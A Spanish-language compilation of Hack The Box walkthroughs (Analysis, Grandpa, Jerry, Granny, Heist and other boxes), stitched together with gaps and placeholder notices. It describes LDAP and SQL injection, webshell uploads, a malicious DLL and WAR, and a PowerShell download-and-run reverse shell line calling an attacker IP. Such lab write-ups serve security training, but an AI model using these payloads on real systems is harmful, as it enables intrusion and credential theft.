Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Probaremos de intentar enumerar a través del DNS (Puerto 53) para ver si encontramos algún registro DNS o si podemos realizar un Zone Transfer Attack, pero no encontramos nada más y tampoco podemos realizar dicho ataque.
Por lo tanto, procederemos a intentar enumerar directorios que se encuentren en el sitio web. Comprobamos varios directorios.
Probando de acceder a ellos, comprobamos que nos reporta un error 403 Forbidden, indicando que no disponemos de acceso a los directorios. Por lo tanto, tampoco podemos realizar "directory listing".
Probaremos de enumerar posibles subdominios del sitio web, entre los cuales encontramos un subdominio "internal" que nos da error 403 Forbidden, es decir, sin permisos para acceder, pero el subdominio existe.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.
Intentaremos enumerar directorios para este subdominio que hemos encontrado a través de gobuster, comprobamos que encontramos varios directorios.
Sabemos que la página tiene como lenguaje de programación PHP. Por lo tanto, probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "users" del subdominio "internal".
Probaremos de intentar listar posibles páginas PHP que se encuentren en el directorio "employees" del subdominio "internal".
En el primer escaneo, todos nos devuelve 17ch de respuesta, que equivale al mensaje que nos aparecía de (missing parameter).
Por lo tanto, pensando que el total de carácteres cambiará si le pasamos la variable correcta, procedemos a ocultar el total de carácteres (17). Encontramos que parece ser que hay una variable válida nombrada "name".
Por otro lado, procederemos a intentar enumerar usuarios válidos del dominio a través de Kerbrute.
Procederemos a realizar una enumeración de usuarios a través del RPC y a realizar un RID Brute Force Attack, sin resultado ninguno.
De la lista de usuarios que hemos sacado con Kerbrute, podemos ir intentando a realizar unn AS-REP Roasting Attack.
http://internal.analysis.htb/users/list.php?name=administrator
Probando uno de los usuarios que hemos enumerado anteriormente con Kerbrute comprobamos que si nos aparece el resultado. Nos quita el apartado "CONTACT_" y nos aparece el campo del usuario en "Usernam" y su respectico First y Last Name.
http://internal.analysis.htb/users/list.php?name=jangel
Intentaremos realizar un SQL Injection (SQLI) para ver a qué nos enfrentamos, ya que de momento no sabemos si es una QUERY de LDAP o SQL. Probando una SQLI básica, comprobamos que no nos muestra nada más.
http://internal.analysis.htb/users/list.php?name=administrator' or 1=1;-- -
Probaremos la siguiente SQLI para ver si la página tarda en responder 5 segundos y así saber si es vulnerable a SQLI y corre un servicio SQL detrás de esta QUERY. Comprobamos que desaparece el formulario y no nos realiza el sleep de 5 segundos.
http://internal.analysis.htb/users/list.php?name=administrator' and sleep(5);-- -
Probando de pasarle el siguiente valor () y comprobamos que vuelve a desaparecer el contenido del formulario. Esto nos puede dar una gran pista, ya que podemos pensar que lo que detrás está de la QUERY son consultas LDAP.
http://internal.analysis.htb/users/list.php?name=()
Para acabar de confirmar que se trate de QUERYS de LDAP, probaremos de intentar que nos muestre el primer resultado del valor que empiece por 'a' y utilizar el '*' para completar el resto del campo. Comprobamos que nos muestra el primer resultado que empieza por 'a', por lo tanto, parece ser que la QUERY que hay detrás es de LDAP.
http://internal.analysis.htb/users/list.php?name=a*
Procederemos a crear un script en Python para automatizar la explotación de LDAP Injection.
En este primer script de prueba, testearemos como funciona la página web y en qué campos se almacena el valor del "username" para quedarnos con ese dato.
En este caso, hemos parado el script con pdb.set_trace() y al ejecutar el script, mostraremos el contenido de r.text, comprobamos que el usuario se almacena entre las etiquetas "<strong>".
A través de re.findall nos quedaremos con el valor que hay entre las etiquetas "<strong>".
Esto sería lo mismo que revisarlo des de la página misma con (Ctrl + U).
Crearemos el siguiente script en Python que a través de fuerza bruta, irá enumerando usuarios válidos de LDAP a través del formulario haciendo uso de LDAP Injection, utilizando el * como comodín.
Probaremos de ejeuctar el script realizado y comprobamos que nos ha enumerado los siguientes usuarios.
Estos usuarios los añadiremos a la lista de usuarios que ya disponemos, y como hay usuarios nuevos, intentaremos nuevamente de realizar un AS-REP Roasting Attack, sin éxito tampoco.
Probaremos de realizar un password spraying para ver si algún usuario utiiza su mismo nombre de usuario como contraseña. No obtenemos éxito.
Intentaremos de realizar un ataque de fuerza bruta para ver si algún usuario sus credenciales es el nombre de usuario de otros usuarios de la lista. Tampoco obtenemos éxito ninguno.
Crearemos un nuevo script de Python, modificando el que ya tenemos para intentar enumerar otro atributo de LDAP como es el campo de "Description" para ver si algún usuario dispone de algúna informacion/contraseña en su usuario.
En este primer script, probaremos de ver si algunos de los usuarios que disponemos, tiene descripción. Cuando tengamos algún usuario que tenga descripción, enumeraremos a través de fuerza bruta el contenido de la descripción del usuario en LDAP.
Comprobamos que hemos encontrado que el usuario "technician" dispone de descripción, una descripción que empiza por "9", un tanto peculiar para ser una descripción de un usuario LDAP.
Como ya sabemos que el usuario "technician" dispone de descripción. Realizaremos un ataque de fuerza bruta para enumerar el contenido de la descripción a través del script de Pyton.
Ejecutaremos el script de Python y a través de fuerza bruta comprobaremos el contenido de la descripción, una descripción un tanto extraña, que más bien parece una contraseña.
Verificaremos con netexec de validar las credenciales en SMB y WinRM, comprobamos que las credenciales son válidas pero no disponemos de acceso para acceder mediante Evil-WinRM en el protocolo de WinRM.
Como ya disponemos de unas credenciales válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS). No encontramos ningún TGS.
Probaremos de realizar un RID Brute Force Attack para enumerar usuarios a través del Relative Identifier (RID) con netexec y (--rid-brute). Comprobamos que encontramos más usuarios válidos.
Como queremos quedarnos solamente con los nombres de usuarios, jugaremos con expresiones regulares (regex) para quedarnos con el output que nos interesa y añadiremos el contenido en el archivo "users.txt" que ya existen los otros usuarios enumerados, es decir, los añadirá sin eliminar el contenido actual.
Como tenemos usuarios repetids, ordenadoremos los resultados, los filtraremos para quedarnos con valores únicos y a través de sponge lo pasaremos nuevamente el resultado al archivo "users.txt".
Ya que disponemos en principio de todos los usuarios válidos, probaremos nuevamente de realizar un AS-REP Roasting Attack para intentar obtener un Ticket Granting Ticket (TGT) válido. No obtenemos resultado ninguno nuevamente.
Probaremos de enumerar el LDAP a través de ldapdomaindump con las credenciales obtenidas.
Revisando el grupo de "Remote Management Users" comprobamos que los usuarios que disponen de permisos para acceder por remoto son los siguientes, también comprobamos que el equipo se encuentra en francés.
Comprobamos que logramos acceder al panel de Analysis y de las tecnologías que utiliza el sitio web, entre ellos, lenguaje de programación PHP.
En el apartado de "SOC Report" vemos que podemos subir un archivo que se ejecutará en una Sandvoz por parte de los analistas SOC. Para ello crearemos un archivo PHP de una WebShell simple.
Subiremos el archivo "cmd.php" de la WebShell que hemos creado.
Comprobaremos que se ha subido correctamente el archivo.
Como no sabemos donde se sube el archivo, probaremos con gobuster de enumerar algún directorio donde se suban estos archivos, encontramos el directorio "uploads".
Probaremos de acceder a la WebShell que hemos subido y probaremos de ejeuctar comandos, por ejemplo "whoami" para saber el usuario que ejecuta la página web.
http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=whoami
Como ya tenemos un Remote Code Execution (RCE), probaremos de establarnos una Reverse Shell. Nos pondremos con nc en escucha por el puerto 443.
Utilizaremos el script de .ps1 de Nishang para establecernos una Reverse Shell, modificaremos el contenido de "Invoke-PowerShellTcp.ps1" y al final del script pondremos el Invoke para que al importarlo en memoria se ejecute la Reverse Shell en el equipo víctima.
Pasaremos la ejecución del comando con Powershell y IEX para importarlo en memoria el Script que tenemos nosotros en nuestro servidor HTTP de Python.
http://internal.analysis.htb/dashboard/uploads/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14/PS.ps1')
Comrpobamos que ganamos acceso al equipo de ANALYSIS.
Probaremos de enumerar el sistema en busca de vías potenciales para escalar nuestro privilegio, ya que actualmente somo suna cuenta de servicio (svc).
Nos copiaremos el winPEASx64.exe en nuestro directorio actual de trabajo y a través del servidor HTTP Python lo compartiremos para que en el equipo de Windows lo descarguemos a través de certutil.exe.
Ejecutando el winPEAS comprobamos que ha encontrado las credenciales almacenadas en el AutoLogon del usuario "jdoe".
Intentaremos de validar las credenciales para autenticarnos en el SMB y comprobar que podemos acceder por WinRM, ya que en principio según habíamos enumerado anteriormente, el usuario "jdoe" formaba parte del grupo de "Remote Management Users".
Probaremos de acceder al WinRM a travésd e evil-winrm y las credenciales de jdoe. Comproobamos la flag de user.txt
Revisando el manual de Snort, comprobamos que aparece un apartado de configuración que habla sobre "Dynamic Modules", probaremos de intentar ver si podemos realizar una explotación de esto.
Comprobaremos la ruta donde se guardan y ejecutan estos módulos dinámicos, también comprobaremos si disponemos de permisos de lectura, escritura y ejecución sobre la carpeta.
A través de msfvenom crearemos un archivo DLL malicioso de una Reverse Shell. Levantaremos un servidor HTTP con Python para compartir este DLL con el equipo que queremos comprometer y con certutil.exe nos descargaremos el DLL malicioso.
En otra terminal nos pondremos en escucha por el puerto que hemos indicado en el DLL malicioso y comprobamos que después de unos minutos, ganamos acceso a la máquina y quien ejecutaba el Snort era el usuario "Administrator", por dicho motivo ganamos acceso a la máquina como dicho usuario.
Accederemos a y con Wappalyzer comprobaremos también las tecnologías del sitio web.
Dentro del resultado del análisis nos encuentra información sobre Active Directory Certificate Services en el cual nos reporta de posiblemente sea vulnerable, y nos indica que revisemos
Para consultar cómo funciona certipy-ad y las diferentes vulnerabilidades existentes podemos revisar en la siguiente página ->
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Enumerando el SMB con smbclient nos encontramos que en el recurso (\\10.10.10.192\forensic\memory_analysis) hay un comprimido llamado "lsass.zip" que nos hace pensar que se trata del (). Como teníoamos problemas a la hora de descargar des de smbclient por errores de time out, procederemos a descargar el contenido a través de smbget.
Como hemos visto el puerto 80 expuesto (HTTP), procederemos a acceder a y comprobaremos que disponemos de 2 PDFs para descargar. Los descargaremos en nuestro equipo.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Procederemos a acceder a y y verificaremos que solamente nos muestra el contenido de la web a través del nombre DNS y no a través de la dirección IP.
También nos encontramos que en la página nos encontramos que hay un documento Word (.docx) nombrado 'New_Starter_CheckList_v7.docx'.
Procederemos a enumerar el puerto 80 del equipo Scrambled, que es un sitio web. Enumerando las págians del sitio web, nos encontramos con la siguiente página que indica un mensaje a los usuarios informando que debido a un reciente ataque informático, han deshabilitado la autenticación NTLM en toda la red.
En la siguiente página , nos damos cuenta que aparece en la captura lo que parece ser un usuario nombrado "ksimpson". Esto es útil debido que des de la misma enumeración de la página web podemos extraer información útil.
En la siguiente página web , se indica que el servicio de autogestión de contraseñas no está disponible actualmente debido al ataque informático. Pero que pueden dejar un mensaje indicando su usuario y el equipo de IT les restablecerá su contraseña para que coincida con el nombre de usuario.
Como disponemos de la contraseña en texto plano, pero para efectuar el Silver Ticket Attack debemos de disponer la contraseña en formato NTLM Hash, procederemos a convertirla a través de un Convertidor Online como es el siguiente -
Nos encontramos conectados al equipo comprometido con el usuario "sqlsvc". Revisando que privilegios dispone el usuario, nos damos cuenta que tiene habilitado el privilegio de , lo que nos permite impersonar a cualquier usuario.
En nuestra Kali procederemos a descargarnos el binario de , lo compartiremos a través de un servidor web montado en Python y des del equipo comprometido nos descargaremos el binario.
Procederemos a crearnos un payload de un código malicioso serializado en Base64 con la herramienta de .
Enumerando el sitio web comprobamos que aparecen los nombres de 3 miembros del equipo, esto nos puede ser útil para intentar enumerar usuarios.
Con el escaneo de Nmap, uno de los DNS que resolvía era el de , por lo cual procederemos de acceder y revisar qué tecnologías utiliza.
Accedimos al sitio web y nos encontramos la siguiente página web que tenía un buscador al parecer de peliculas. Revisando la sintaxis de cómo funcionaba el buscador, pensamos que se trataría de una BBDD de MSSQL debido que nos enfrentamos a una máquina Windows Server.
Revisamos la página de , en la cual te dan diferentes payloads para intentar realizar una inyección SQL a MSSQL.
Accederemos a y probaremos de autenticarnos con un usuario random para comprobar el mensaje de error que nos muestra, nos copiaremos este mensaje de error a la clipboard ya que lo necesitaremos para utilizar Hydra.
Accederemos a (recordemos que habíamos enumerado el directorio "admin" y nos daba un Forbidden 443), pero ahora si podemos acceder debido que disponemos de unas credenciales válidas.
Accediendo a comprobamos que es una página de desarollo enla cual está mal modificado y se puede realizar un LFI (Local File Intrusion).
Comprobamos que obtenemos todo el contenido del "index.php" en formato base64
Probaremos de acceder a y comprobamos que no podemos ver el contenido de la página.
Para el tema de los directorios donde podemos guardar el archivo, hemos buscado alguno de
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Realizando una búsqueda por Internet, nos encontramos el siguiente GitHub el cual realiza archivos RTF maliciosos.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Probando de acceder a verificamos la siguiente página web.
Procederemos a enumerar el dominio a través del protocolo RPC con la herramienta de .
Probando de acceder a través de HTTPS a comprobamos que nos requiere los certificados que hemos importado anteriormente.
Para la fase de reconocimiento inicial de la máquina Vintage
utilizamos nuestra herramienta personalizada . Esta herramienta automatiza un escaneo Nmap completo que incluye:
En caso de no tener BloodHound-CE instalado en el equipo, podemos instalarlo desde la siguiente .
En el caso de PowerView.py, lo primero que hacemos es habilitar nuevamente al usuario SVC_SQL
, modificando su atributo userAccountControl
a 66048, como vimos anteriormente con .
Para ello, podemos seguir la siguiente configuración donde se explica detalladamente. .
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Procederemos a acceder a y verificaremos que se trata de un sitio web sobre Jenkins.
Si probamos de acceder a comprobamos que no disponemos de permisos de Administración.
Revisando en la siguiente respuesta de , nos indica que posiblemente sea debido a la restricción de permisos que dispone nuestro usuario creado.
Al acceder a , verificamos que efectivamente el comando que habíamos establecido se ha ejecutado en el servidor . Tambén hemos podido ejecutarlo sin tener que arrancar el proyecto de manera manual (debido a los permisos) a través de las tareas Cron.
Revisando en Internet sobre este mensaje de error para ejecutar el proyecto de manera remota de Jenkins, nos encontramos con el siguiente post donde explican como realizar la configuración con cURL.
El primer paso es obtener un API Token de nuestro propio usuario, para ello accederemos a y generaremos un nuevo Token que deberemos copiarnos en el portapapeles.
Verificaremos que si accedemos nuevamente a verificaremos que el proyecto se ha ejecutado y hemos recibido el output de la ejecución del comando "ipconfig".
Para ello utilizamos la siguiente guía en la cual nos explicaba paso por paso como realizar este dump de las credenciales de Jenkins.
Una vez obtenido los 3 archivos necesarios para desencriptar la contraseña del usuario "admin" de Jenkins, procederemos a utilizar la siguiente herramienta -->
En el siguiente GitHub () nos informa como realizar este tipo de ataque desde Windows.
Debido que no hemos podido realizar el ataque, desde revisamos el ACL de GenericWrite on User en busca de intentar realizar otro tipo de ataque.
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a y verificamos que no muestra ningún tipo de contenido.
Cuando accedimos a nos mostró una página web del CMS Ghost
.
Al acceder a se nos mostraba una página web de inicio de sesión con un botón el cual nos redirigía a federation.ghost.htb
.
Al tratar de acceder a verificamos un panel de inicio de sesión del sitio web.
Al tratar de acceder a nos muestra un panel de inicio de sesión a lo que parece ser la Intranet del sitio web.
Al acceder a nos encontramos con el siguiente sitio web de la plataforma de Gitea.
A través de la extensión de Cookie Editor
añadiremos este nuevo Token en la página de .
Accederemos nuevamente a de autenticarnos con el usuario encontrado para verificar si disponemos del acceso que indicaban en la sección de News
.
Lectura de información de confianza de usuario autenticado desde la base de datos
Verificamos de la información correspondiente al SAML el cual el EndPoint
se encuentra en
Interceptaremos la solicitud al acceder a , modificaremos la solicitud GET
por POST
e indicaremos el SAML obtenido en el paso anterior, al enviar la solicitud en BurpSuite
, verificamos que parece que ha funcionado correctamente el Golden SAML Attack
.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Procederemos a acceder a el cual contiene un GIF, aparantemente no contiene ningún metadato ni nada extraño.
Utilizamos el escáner gobuster para realizar un barrido del sitio web y verificamos que existe el directorio :
Intentamos acceder a con las credenciales de la usuaria (amanda@htb.local).
Otra de las maneras para evitar la restricción del AppLocker, es mediante las siguientes rutas que nos encontramos en el siguiente repositorio de GitHub.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a en donde podremos comprobar el acceso al IIS
, pero no logramos obtener nada interesante
Al tratar de acceder a , se nos indica un mensaje de error 403 Forbidden
.
El contenido del archivo iistart.htm
se trata de la página web que se encuentra expuesta del servidor IIS
en .
Accederemos a y comprobaremos que efectivamente se encuentra nuestra webshell
subida y podemos ejecutar comandos en el sistema.
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Accediendo a nos aparecen dos archivos, procederemos a comprobar que contiene el archivo .txt.
Procederemos a enumerar el dominio a través del protocolo RPC con la herramienta de .
Dado que no encontramos ninguna manera de explotar una escala de privilegios, revisando en posibles vectores de ataque al Active Directory, nos encontramos con la siguiente página que habla de la explotación del MS14-068.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Probaremos de acceder al sitio web que se encuentra expuesto en el puerto 80 (HTTP) y comprobaremos que tecnologías utiliza a través de Wappalyzer.
Comprobaremos de acceder a y comprobaremos que nos arroja un error 403.
Verificamos que encontramos un archivo PHP en
Verificamos que encontramos un archivo PHP en
Probando de acceder a comprobamos que nos indica que le tenemos que pasar un parámetro para que funcione la página, desconocemos el nombre del parámetro pero podremos intentar fuzzearlo más adelante.
Si accedemos a nos pide credenciales que no disponemos.
Intentaremos de realizar fuzzing a la web para intentar encontrar el parámetro que nos hace falta para la página
Sobre la página web que hemos encontrado (), probaremos de intentar de enumerar por ejemplo el usuario "Administrator", no obtenemos respuesta ninguna.
Probaremos de autenticarnos en el panel de inicio de sesión de con las credenciales del usuario "technician".
Revisando la raíz del equipo, comprobamos que hay una carpeta llamada que es un sistema de detección de intrusos.
Grandpa
es una de las máquinas más simples de Hack The Box, sin embargo, está cubierta por la vulnerabilidad CVE-2017-7269, ampliamente explotada. Esta vulnerabilidad es fácil de explotar y otorgó acceso inmediato a miles de servidores IIS en todo el mundo cuando se hizo pública.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Grandpa. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado del escaneo con los scripts de Nmap, nos encontramos que está habilitado el WebDAV
y los métodos que están permitidos, verificaremos este punto más adelante.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Dado que en el escaneo inicial con Nmap nos encontramos que estaba el WebDAV
, realizamos un escaneo sencillo a través de la herramienta de davtest
que se encargará de realizar un escaneo de subir archivos para verificar que extensiones son válidas para subir a través del método PUT
que se encontraba habilitado.
En el resultado obtenido, verificamos que no nos permite la subida con ninguna de esas extensones.
Si en el escaneo de Nmap no nos huiera mostrado los métodos que se encuentran habilitados en el WebDAV
, podemos realizar una solicitud con cURL
para revisar la cabecera de la solicitud enviada.
Revisando vulnerabilidades del Web Server IIS 6.0
nos encontramos con el siguiente exploit en Python.
Revisando las vulnerabilidades, nos encontramos con el siguiente CVE-2017-7269
.
Desbordamiento de búfer en la función ScStoragePathFromUrl en el servicio WebDAV en Internet Information Services (IIS) 6.0 en Microsoft Windows Server 2003 R2 permite a atacantes remotos ejecutar código arbitrario a través de una cabecera larga comenzando con "If:
Nos descargaremos el siguiente exploit de GitHub para realizar la explotación.
Nos pondremos en escucha por un puerto para recibir la Reverse Shell del exploit.
Ejecutaremos el explooit indicándole el target (máquina victima) y el puerto en donde se encuentra el IIS
expuesto, también informaremos nuestra dirección IP de atacante y el puerto en donde estamos en escucha.
Verificaremos que hemos logrado obtener el acceso a la máquina objetivo.
Revisando los permisos que dispone el usuario actual NT AUTHORITY\NETWORK SERVICE
, nos encontramos que dispone del privilegio de SeImpersonatePrivilege
.
Podríamos hacer uso de JuicyPotato
, PrintSpoofer
, etc, pero en este caso al tratarse de un equipo tan antiguo como es el Windows Server 2003
, nos darían diversos problemas.
Buscando por Internet como poder explotar este privilegio desde un Windows Server 2003
, nos encontramos con el siguiente blog el cual mencionan un binario llamado churrasco.exe
que hace una función similar a JuicyPotato
.
Nos descargaremos el binario en nuestro equipo y lo compartiremos a través de un servidor SMB.
Desde el equipo víctima, nos copiaremos el binario en una ruta que podamos ejeuctar el binario.
En una nueva terminal nos pondremos en escucha para recibir la Reverse Shell.
Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe
y levantar nuevamente un servidor SMB para compartir este otro binario.
Desde el equipo víctima, ejecutaremos dos veces el binario churrasco.exe
indicándole que ejecute el binario que estamos compartiendo a través de un recurso compartido, al ejecutar el binario nos proporcionará una Reverse Shell.
Verificamos que hemos logrado la conexión y que somos el usuario NT AUTHORITY\SYSTEM
. Por otro lado, comprobamos que logramos visualizar las flags de user.txt y root.txt.
Aunque Jerry
es una de las máquinas más fáciles de usar en Hack The Box, es realista ya que Apache Tomcat a menudo se encuentra expuesto y configurado con credenciales comunes o débiles.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Jerry. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Investigaremos las funcionalidades del panel, probaremos de acceder a Manager App.
Al acceder a Manager App, verificamos que el sitio web nos pide credenciales de acceso, credenciales que no disponemos actualmente.
Realizamos una búsqueda en Internet, sobre la contraseña por defecto que dispone Tomcat y nos encontramos con el siguiente repositorio con posibles credenciales de acceso.
Al probar de acceder con las credenciales admin/admin
, verificamos que nos aparece un mensaje de 403 Access Denied
. También visualizamos que la página indica que si no han habido modificaciones en las configuraciones, de examinar el archivo conf/tomcat-users.xml
.
Por otro lado, también nos muestra un ejemplo con el usuario tomcat/s3cret.
Revisando por Internet, nos encontramos con el siguiente foro en el cual mencionan exactamente el mismo archivo de configuración.
Probamos acceder utilizando las credenciales que se mencionaban como ejemplo en el mensaje de error 403 Access Denied
. Tras verificar, confirmamos que las credenciales tomcat/s3cret
nos permitieron acceder correctamente al panel de administración.
Revisando el panel de administración, comprobamos que nos permite subir archivos con extensión WAR
.
Buscando maneras de explotar Tomcat
a través de archivos WAR
, nos encontramos con el siguiente blog que nos muestra como podemos lograr tener acceso al sistema a través de un archivo WAR
malicioso que nos proporcione una Reverse Shell.
El primer paso será crear nuestro binario malicioso con extensión WAR
que nos proporcione una Reverse Shell.
Nos pondremos en escucha por el puerto especificado en el binario malicioso.
Subiremos el archivo malicioso en el panel de adminsitración de Tomcat
.
Verificaremos que se ha subido correctamente nuestro archivo malicioso en Tomcat
.
Realizaremos una petición por el método GET
a través de la herramienta cURL
sobre el archivo malicioso subido en Tomcat
.
Comprobaremos que hemos ganado acceso al equipo víctima. En este caso disponemos del usuario NT AUTHORITY\SYSTEM
, lo que nos otorga control total en el sistema objetivo.
Verificaremos las flags de user.txt y root.txt que se encuentran en un mismo archivo.
Granny
, aunque es similar a Grandpa
, puede ser explotada mediante varios métodos diferentes. El método previsto para resolver esta vulnerabilidad es la vulnerabilidad de carga de Webdav, ampliamente conocida.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Granny. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado del escaneo con los scripts de Nmap, nos encontramos que está habilitado el WebDAV
y los métodos que están permitidos, verificaremos este punto más adelante.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Revisararemos las tecnologías que utiliza el sitio web a través de la herramienta whatweb
. En el resultado obtenido, verificamos que se trata de un IIS 6.0
.
Dado que en el escaneo inicial con Nmap nos encontramos que estaba el WebDAV
, realizamos un escaneo sencillo a través de la herramienta de davtest
que se encargará de realizar un escaneo de subir archivos para verificar que extensiones son válidas para subir a través del método PUT
que se encontraba habilitado.
En el resultado obtenido, verificamos que la extensión asp
y aspx
no nos permite la subida de archivos. Est sería un grave problema de seguridad dado que lo que hay detrás de la página web es un IIS
que interpreta lenguaje de aspx
.
Si en el escaneo de Nmap no nos huiera mostrado los métodos que se encuentran habilitados en el WebDAV
, podemos realizar una solicitud con cURL
para revisar la cabecera de la solicitud enviada.
Realizaremos una prueba de enviar a través del método PUT
el archivo gzzcoo.txt
que contiene el nombre de nuestro usuario.
Accediendo a la ruta donde hemos subido el archivo, verificamos que se ha subido correctamente y podemos visualizar el contenido del archivo.
Trataremos de subir una webshell de aspx en el sitio web. Al tratar de subirlo por el método PUT
se nos indica que no disponemos de los permisos, por lo tanto, parece ser que el servidor bloquea la subida de archivos con esa extensión.
Probaremos de subir la webshell con extensión .txt
al servidor web.
Verificaremos accediendo a la ruta del archivo subido que ha interpretado el archivo y se visualiza el contenido de la webshell pero no podemos hacer uso de ella.
Por lo tanto, como también disponemos del método MOVE
habilitado en el servidor web, lo que realizaremos es renombrar el archivo cmd.txt
que subimos para que sea renombrado a cmd.aspx
.
Probaremos nuevamente de acceder al nuevo archivo renombrado, y verificamos que hemos logrado eludir la verificación de la subida del archivo aspx
. Esto debido que hemos subido el archivo en formato .txt
y como disponíamos del método MOVE
habilitado, lo renombramos por la extensión que deseamos.
Verificaremos a través de la ejecución del comando whoami
de validar si funciona correctamente la webshell.
Nos pondremos en escucha por un puerto para recibir la Reverse Shell.
Desde otra terminal, deberemos de disponer del binario de nc.exe
y levantar un servidor SMB
para compartir este binario.
Desde la webshell que hemos subido, ejecutaremos el binario de nc.exe
que se está compartiendo en nuestro recurso compartido con el objetivo de obtener una Reverse Shell.
Verificaremos que hemos logrado acceder al equipo correctamente.
Otra manera de realizar esta explotación, es revisando si existen vulnerabilidades para la versión de IIS
que se encuentra en el servidor víctima. Entre los resultados obtenidos, verificamos que disponemos de un un exploit enPython que nos puede interesar.
Revisando las vulnerabilidades, nos encontramos con el siguiente CVE-2017-7269
.
Desbordamiento de búfer en la función ScStoragePathFromUrl en el servicio WebDAV en Internet Information Services (IIS) 6.0 en Microsoft Windows Server 2003 R2 permite a atacantes remotos ejecutar código arbitrario a través de una cabecera larga comenzando con "If:
Nos descargaremos el siguiente repositorio de GitHub para realizar la explotación.
Nos pondremos en escucha por un puerto para recibir la Reverse Shell del exploit.
Ejecutaremos el explooit indicándole el target (máquina victima) y el puerto en donde se encuentra el IIS
expuesto, también informaremos nuestra dirección IP de atacante y el puerto en donde estamos en escucha.
Verificaremos que hemos logrado obtener el acceso a la máquina objetivo.
Revisando los permisos que dispone el usuario actual NT AUTHORITY\NETWORK SERVICE
, nos encontramos que dispone del privilegio de SeImpersonatePrivilege
.
Podríamos hacer uso de JuicyPotato
, PrintSpoofer
, etc, pero en este caso al tratarse de un equipo tan antiguo como es el Windows Server 2003
, nos darían diversos problemas.
Buscando por Internet como poder explotar este privilegio desde un Windows Server 2003
, nos encontramos con el siguiente blog el cual mencionan un binario llamado churrasco.exe
que hace una función similar a JuicyPotato
.
Nos descargaremos el binario en nuestro equipo y lo compartiremos a través de un servidor SMB.
Desde el equipo víctima, nos copiaremos el binario en una ruta que podamos ejeuctar el binario.
Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe
y levantar nuevamente un servidor SMB para compartir este otro binario.
En una nueva terminal nos pondremos en escucha para recibir la Reverse Shell.
Desde el equipo víctima, ejecutaremos dos veces el binario churrasco.exe
indicándole que ejecute el binario que estamos compartiendo a través de un recurso compartido, al ejecutar el binario nos proporcionará una Reverse Shell.
Verificamos que hemos logrado la conexión y que somos el usuario NT AUTHORITY\SYSTEM
. Por otro lado, comprobamos que logramos visualizar las flags de user.txt y root.txt.
Heist es un sistema operativo Windows de dificultad fácil con un portal de "Problemas" accesible en el servidor web, desde el que es posible obtener hashes de contraseñas de Cisco. Estos hashes se descifran y, posteriormente, se utiliza la fuerza bruta de RID y Password Spraying para obtener acceso al sistema. Se descubre que el usuario está ejecutando Firefox. Se puede descartar el proceso firefox.exe y buscar la contraseña del administrador.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Heist. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Al acceder como usuario Invitado, comprobamos que hay una conversación interesante.
En la conversación que se muestra, el usuario llamado Hazard tiene problemas con su router Cisco, le indica al soporte técnico que le ha adjuntado un archivo con una parte de la configuración que el anterior administrador estaba utilizando en el router.
Probaremos de visualizar el archivo adjunto para verificar la configuración del router del usuario.
